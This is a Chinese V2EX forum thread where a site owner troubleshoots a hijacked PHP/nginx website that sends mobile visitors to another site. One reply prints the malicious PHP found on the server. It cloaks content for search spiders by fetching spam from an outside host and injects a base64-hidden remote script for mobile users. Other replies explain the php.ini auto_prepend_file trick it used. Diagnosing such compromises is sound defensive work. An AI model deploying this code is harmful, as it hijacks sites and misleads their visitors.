V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
dai269619118
V2EX  ›  程序员

网站被劫持了请教下大佬如何解决

  •  
  •   dai269619118 · 2023-10-08 17:44:26 +08:00 · 4000 次点击
    这是一个创建于 411 天前的主题,其中的信息可能已经有所发展或是发生改变。

    原本的地址是: www.xxx.com/xxx 打开都是正常的

    劫持的域名是: www.xxx.com/xxx?gLN3Nf=.xlsakd3E20230731 多了这段参数

    在移动端,劫持的这段域名打开会跳转他其他网站上,检查了服务器的代码 对应代码直接 exit

    应该是 dns 那边出现了问题

    试了下移动和电信网络 全都会被跳转

    大佬们这个应该怎么处理?

    第 1 条附言  ·  2023-10-08 18:23:17 +08:00
    网址是我随便打的,想不到是个色情网站 大家尽量别打开
    第 2 条附言  ·  2023-10-08 18:26:00 +08:00
    用爬虫去抓了下网页 所有的 html 最上面被注入了好多 <a href='xxx'>
    可能只针对了那一个链接生效了
    我在程序的主入口里面只执行一行代码 exit('hello') 注入的代码还是有
    所以可以排除 服务器上 mysql 被注入的可能
    第 3 条附言  ·  2023-10-09 09:20:57 +08:00
    感谢 33 楼的大佬帮忙解决了问题!非常非常感谢!
    41 条回复    2023-10-09 12:53:50 +08:00
    xbchaonba
        1
    xbchaonba  
       2023-10-08 17:47:15 +08:00
    中木马了吧
    feidao158
        2
    feidao158  
       2023-10-08 17:48:29 +08:00   ❤️ 1
    上班打开了你这个域名,差点被公司领导看到,差一点凉凉了
    proxytoworld
        3
    proxytoworld  
       2023-10-08 17:50:07 +08:00
    js 代码呗
    dai269619118
        4
    dai269619118  
    OP
       2023-10-08 17:53:26 +08:00
    @feidao158 上面的网址我随便写的
    @proxytoworld 检查了请求 nginx 有请求日志,我在项目的第一行代码直接 exit 了 执行不到 js 文件
    2Soon
        5
    2Soon  
       2023-10-08 17:53:46 +08:00   ❤️ 1
    @feidao158 绝了,差点社死+1,这个 xx 能打开也就算了,关键还这么劲爆🤣
    dai269619118
        6
    dai269619118  
    OP
       2023-10-08 17:54:25 +08:00
    @feidao158 额额。。。。。上面网址我随便写的 有点巧 改不了了
    coderxy
        7
    coderxy  
       2023-10-08 17:55:08 +08:00
    蹲个后续,还真没遇到过随便加个参数就能劫持的。
    xbchaonba
        8
    xbchaonba  
       2023-10-08 17:57:17 +08:00
    中木马了, 扫描一下代码吧; 我之前遇到过.
    proxytoworld
        9
    proxytoworld  
       2023-10-08 17:59:56 +08:00
    @dai269619118 ..有没有可能是 js 挂在 cdn 上,你不能通过 nginx 日志去判断啊,明显是前端 js 代码跳转的,打开控制台看是哪里获取到了这个 aff 然后跳转的
    xbchaonba
        10
    xbchaonba  
       2023-10-08 18:03:49 +08:00
    百度收录还正常吗
    dai269619118
        11
    dai269619118  
    OP
       2023-10-08 18:04:52 +08:00
    @proxytoworld 老哥 我在程序的第一行就执行了 exit('hello world') 测试了一下 不执行任何其他代码 这个被劫持的页面还是打得开
    dai269619118
        12
    dai269619118  
    OP
       2023-10-08 18:05:46 +08:00
    @xbchaonba 收录还是正常的 主要只有这么一个 url 有问题
    dongya
        13
    dongya  
       2023-10-08 18:06:07 +08:00
    上 https 啊
    hefish
        14
    hefish  
       2023-10-08 18:08:34 +08:00
    www.xxx.com 我刚打开了,确实跳转了,但没有跳转到 OP 所说的那个网址啊。。。它跳转到 http://www.xxx.com 了。
    咳咳
    Shazoo
        15
    Shazoo  
       2023-10-08 18:09:26 +08:00
    @dai269619118 #11 是什么神仙操作?说细点,哪个文件,那里你 exit 了?
    dai269619118
        16
    dai269619118  
    OP
       2023-10-08 18:12:12 +08:00
    @Shazoo 老哥 在主入口文件 整个网站只执行这一句代码
    yumusb
        17
    yumusb  
       2023-10-08 18:25:32 +08:00
    也有可能是中间件被修改了导致的劫持。没走到代码层面,之前宝塔劫持事件就是修改的 nginx
    xinyu198736
        18
    xinyu198736  
       2023-10-08 18:26:31 +08:00
    上 https
    googlefans
        19
    googlefans  
       2023-10-08 18:26:32 +08:00
    这个应该是通过你链接加个广告
    修改 htacess 文件
    proxytoworld
        20
    proxytoworld  
       2023-10-08 18:26:50 +08:00
    1. 你把你 www.xxx.com/xxx 页面源码贴出来
    2. 排除 dns 劫持,dns 劫持不可能只劫持一个页面,除非运营商劫持 http ,但你两个运营商都有显然不可能
    3. HTML 代码怎么 exit 我不理解
    dai269619118
        21
    dai269619118  
    OP
       2023-10-08 18:29:07 +08:00
    @yumusb nginx+php 这种组合 中间也没有其他什么服务
    dai269619118
        22
    dai269619118  
    OP
       2023-10-08 18:34:58 +08:00
    @proxytoworld 用爬虫抓了下页面 所有页面的头部都被注入了莫名其妙的<a>标签
    yumusb
        23
    yumusb  
       2023-10-08 18:39:26 +08:00
    @dai269619118 nginx php 篡改都能做到这个效果
    dai269619118
        24
    dai269619118  
    OP
       2023-10-08 18:47:18 +08:00
    @yumusb 老哥 应该是你说的这个问题 在 nginx 上我屏蔽了这个地址 异常的那个 url 打不开了
    这种一般要怎么检查 老哥麻烦提供点接下来处理的思路
    yumusb
        25
    yumusb  
       2023-10-08 18:48:33 +08:00
    @dai269619118 发个联系方式 来个权限可以帮你查查看
    7inFen
        26
    7inFen  
       2023-10-08 18:51:00 +08:00
    上 cloudflare
    dai269619118
        27
    dai269619118  
    OP
       2023-10-08 18:52:58 +08:00
    @yumusb 感谢老哥 微信: anV3ZW41NTU=
    yarawen
        28
    yarawen  
       2023-10-08 19:14:29 +08:00
    ……在公司电脑上不小心打开了黄网,要是被监控发现被通告
    我哭死你
    yumusb
        29
    yumusb  
       2023-10-08 21:53:15 +08:00
    <?php
    set_time_limit(0);
    error_reporting(0);
    header("Content-Type: text/html;charset=utf-8");
    $a = "stristr";
    $b = $_SERVER;
    function httpGetlai($c)
    {
    $d = curl_init();
    curl_setopt($d, CURLOPT_URL, $c);
    curl_setopt($d, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
    curl_setopt($d, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($d, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($d, CURLOPT_HEADER, 0);
    $e = curl_exec($d);
    curl_close($d);
    return $e;
    }
    define('url', $b['REQUEST_URI']);
    define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']);
    define('ent', $b['HTTP_USER_AGENT']);
    define('site', "http://sid.hj6j.com/utf8/?");
    define('road', "app?domain=" . $b['HTTP_HOST'] . "&path=" . url . "&spider=" . urlencode(ent));
    define('memes', road . "&referer=" . urlencode(ref));
    define('regs', '@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i');
    define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
    define('area', $a(url, ".xml") or $a(url, ".fdc") or $a(url, ".one") or $a(url, ".bug") or $a(url, ".doc") or $a(url, ".love") or $a(url, ".txt") or $a(url, ".ppt") or $a(url, ".pptx") or $a(url, ".xls") or $a(url, ".csv") or $a(url, ".shtml") or $a(url, ".znb") or $a(url, ".msl") or $a(url, ".mdb") or $a(url, ".hxc"));
    if (preg_match(regs, ent)) {
    if (area) {
    echo httpGetlai(site . road);
    exit;
    } else {
    echo httpGetlai("http://sid.hj6j.com/utf8/u.php");
    }
    }
    if (area && preg_match(mobile, ent)) {
    echo base64_decode('PHNjcmlwdCBzcmM9aHR0cHM6Ly8wc3VnYXJhZGRlZC5jb20vc2ouanM+PC9zY3JpcHQ+');
    exit;
    }
    LykorisR
        30
    LykorisR  
       2023-10-08 22:28:31 +08:00
    首先,你上没上 HTTPS ?上了的话排除 DNS 劫持,没上就上上。如果不是 DNS 劫持的话,看你 nginx 配置有无被篡改,没有的话就看 php ,还没有那就是前端引用的 js 出问题了,检查引用的外部 cdn 的 js 吧
    edgeuser
        31
    edgeuser  
       2023-10-08 22:47:26 +08:00
    @yumusb 这代码是从拿提出来的
    lmaq
        32
    lmaq  
       2023-10-08 23:15:43 +08:00
    服务器停掉在访问试试,有可能是服务器中毒了
    yumusb
        33
    yumusb  
       2023-10-09 00:21:50 +08:00   ❤️ 21
    详见:一次排查网站劫持过程流水账 https://zhufan.net/2023/10/08/%E4%B8%80%E6%AC%A1%E6%8E%92%E6%9F%A5%E7%BD%91%E7%AB%99%E5%8A%AB%E6%8C%81%E8%BF%87%E7%A8%8B%E6%B5%81%E6%B0%B4%E8%B4%A6/ 觉得有用点个感谢,回回发帖消耗的铜币 🐕
    hawei
        34
    hawei  
       2023-10-09 00:41:45 +08:00 via iPhone
    @yumusb 草 这真的太帅了,做安全的大佬?
    leimao
        35
    leimao  
       2023-10-09 01:22:49 +08:00
    YYF: ?
    dong568789
        36
    dong568789  
       2023-10-09 09:11:00 +08:00
    在入口断点没用的话,多半是生成了静态 html 了吧
    zzzmh
        37
    zzzmh  
       2023-10-09 11:05:36 +08:00
    @yumusb 怎么做到的?
    ahait
        38
    ahait  
       2023-10-09 11:08:15 +08:00
    @yumusb 老哥很强,这种劫持方式还是第一次见:在 php.ini 中有两个配置参数,auto_prepend_file 和 auto_append_file ,其作用相当于 php 代码 require 或 include ,使用这两个指令包含的文件如果该文件不存在,将产生一个警告。

    auto_prepend_file 表示在 php 程序加载应用程序前加载指定的 php 文件

    auto_append_file 表示在 php 代码执行完毕后加载指定的 php 文件
    ahait
        39
    ahait  
       2023-10-09 11:12:44 +08:00
    @ahait 应该是批量抓鸡,ioc 搜索引擎一查发现很多网站都被干了,估计是黑产团伙作案,入侵点没找到,估计明天还会继续劫持,建议楼主再往下深入查下,找到具体入侵点( web 漏洞、ssh 弱口令等等)
    starinmars
        40
    starinmars  
       2023-10-09 11:54:12 +08:00
    下次提前说下这个网站是干什么的! 在公司大屏屏幕打开,差点升天🤣
    m0unta1n886
        41
    m0unta1n886  
       2023-10-09 12:53:50 +08:00
    前段时间刚处理过,我遇到那个问题是 nginx 下载源有问题,被织配置了,你可以重新换个源看看
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2060 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 27ms · UTC 00:34 · PVG 08:34 · LAX 16:34 · JFK 19:34
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.